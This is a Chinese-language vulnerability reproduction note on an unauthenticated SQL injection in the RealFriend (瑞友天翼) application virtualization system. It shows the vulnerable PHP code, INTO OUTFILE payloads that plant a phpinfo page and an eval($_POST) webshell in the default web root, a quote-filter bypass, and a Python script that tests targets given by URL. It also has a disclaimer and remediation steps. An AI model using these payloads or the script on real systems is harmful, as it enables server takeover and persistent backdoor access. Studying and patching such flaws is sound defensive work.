参考文档和声明

这个文档仅限于作者的学习整理,任何未经授权的网络攻击行为会被认定为违法犯罪,将会受到法律的严厉制裁。
参考文档包括但不限于:
瑞友天翼应用虚拟化系统RCE漏洞复现+利用_瑞友天翼漏洞-CSDN博客

漏洞描述

瑞友天翼应用虚拟化系统 SQL 注入远程代码执行漏洞,根源为程序源码未对用户请求参数做安全过滤,直接拼接构造 SQL 语句执行查询,攻击者无需授权即可注入恶意语句,结合数据库高权限配置,最终实现远程代码执行,接管服务器权限。

漏洞影响

  1. 无认证绕过访问接口,恶意查询、窃取系统账号、配置等核心数据库数据
  2. 构造注入语句篡改、删除业务数据表,破坏虚拟化平台正常运行
  3. 利用数据库高权限写入网页木马,获取网站后台及服务器操作权限
  4. 上传恶意程序、创建后门账号,实现服务器持久化控制
  5. 篡改虚拟化应用配置,非法访问、操控内网虚拟应用资源
  6. 拿下服务器权限后,以此为跳板对内网设备开展横向渗透攻击

漏洞成因

(以瑞友天翼:6.0.5.1 为例,默认安装路径 C:\Program Files (x86)\RealFriend\Rap Server\WebRoot )
默认安装路径下的 AgentBoard.XGI 这个文件通过加上 php 后缀,再经过 php免费在线解密-PHP在线解密 解密,获得内容

1
2
3
4
5
6
7
if (isset($_REQUEST['user'])) {
$DSCon = creatconniction("DS");
$result = mysql_query("Select user_id,f_id from CUser where name='" . $_REQUEST['user'] . "'", $DSCon); //漏洞点
$row = mysql_fetch_row($result);
$GLOBALS['GLOBALS']['_SESSION']['UserID'] = $row[0];
$GLOBALS['GLOBALS']['_SESSION']['GroupID'] = $row[1];
}

影响版本

  • 影响版本
    5.x <= 瑞友天翼应用虚拟化系统 <= 7.0.2.1
  • 不受影响版本
    瑞友天翼应用虚拟化系统 >= 7.0.3.1

漏洞环境

瑞友天翼:6.0.5.1

  • 靶机:windows11–192.168.xxx.xxx
  • 攻击机:kali–192.168.xxx.xxx

复现过程

访问 http://ip/RapAgent.xgi?CMD=GetRegInfo 可以查看版本号

直接访问 http://ip//AgentBoard.XGI?user=-1'+union+select+1,'<?php+phpinfo();?>'+into+outfile+"C:\\Program\+Files\+\(x86\)\\RealFriend\\Rap\+Server\\WebRoot\\2.php"--+-&cmd=UserLogin 抓包放到重放器中
(注意点:这里的路径是系统在 windows 下的默认安装路径)

修改内容写入一句话木马,需要对特殊符号进行 url 编码
(参考了别的大佬这里有一个注意点:漏洞环境过滤了单引号,需采用双引号或者使用 hex 编码 bypass )

1
-1'+union+select+1,'<?php+eval($_POST["pass"]);'+into+outfile+"C:\\Program\+Files\+\(x86\)\\RealFriend\\Rap\+Server\\WebRoot\\3.php"--+-&cmd=UserLogin


用蚁剑连接

脚本

1
2
3
4
5
6
7
8
9
10
11
import requests
import sys

url = sys.argv[1]
payload="/AgentBoard.XGI?user=-1%27+union+select+1%2C%27%3C%3Fphp+phpinfo%28%29%3B%3F%3E%27+into+outfile+%22C%3A%5C%5CProgram%5C+Files%5C+%5C%28x86%5C%29%5C%5CRealFriend%5C%5CRap%5C+Server%5C%5CWebRoot%5C%5C1.php%22+--+-&cmd=UserLogin"
repose = requests.get(url=url+payload)
if repose.status_code ==200:
a = url + '1.php'
b = requests.get(url=a)
if b.status_code == 200:
print('[+] 漏洞存在,验证地址: {}1.php '.format(url))

原理:利用已知 poc ,通过 sql 注入写入 php 文件 ,内容是 phpinfo() (只对默认安装路径起作用,请根据环境自行修改payload中的路径)
重点:

1
2
3
user=-1%27+union+select+1%2C%27%3C%3Fphp+phpinfo%28%29%3B%3F%3E%27+into+outfile+%22C%3A%5C%5CProgram%5C+Files%5C+%5C%28x86%5C%29%5C%5CRealFriend%5C%5CRap%5C+Server%5C%5CWebRoot%5C%5C1.php%22+--+-&cmd=UserLogin"
转换后
-1' union select 1,'<?php phpinfo();?>' into outfile "C:\\Program\ Files\ \(x86\)\\RealFriend\\Rap\ Server\\WebRoot\\1.php" -- -&cmd=UserLogin

效果:

1
python 1.py http://ip/


访问 http://ip/1.php 可以看到 phpinfo() 界面

修复方案

官方修复

  • 立即升级到官方最新安全版本
  • 安装官方漏洞修复程序

临时缓解措施

  • 直接删除或重命名存在漏洞的AgentBoard.XGILogin.XGI等 PHP 接口文件
  • 部署 WAF 拦截包含UNIONSELECTINTO OUTFILE'等 SQL 注入特征的请求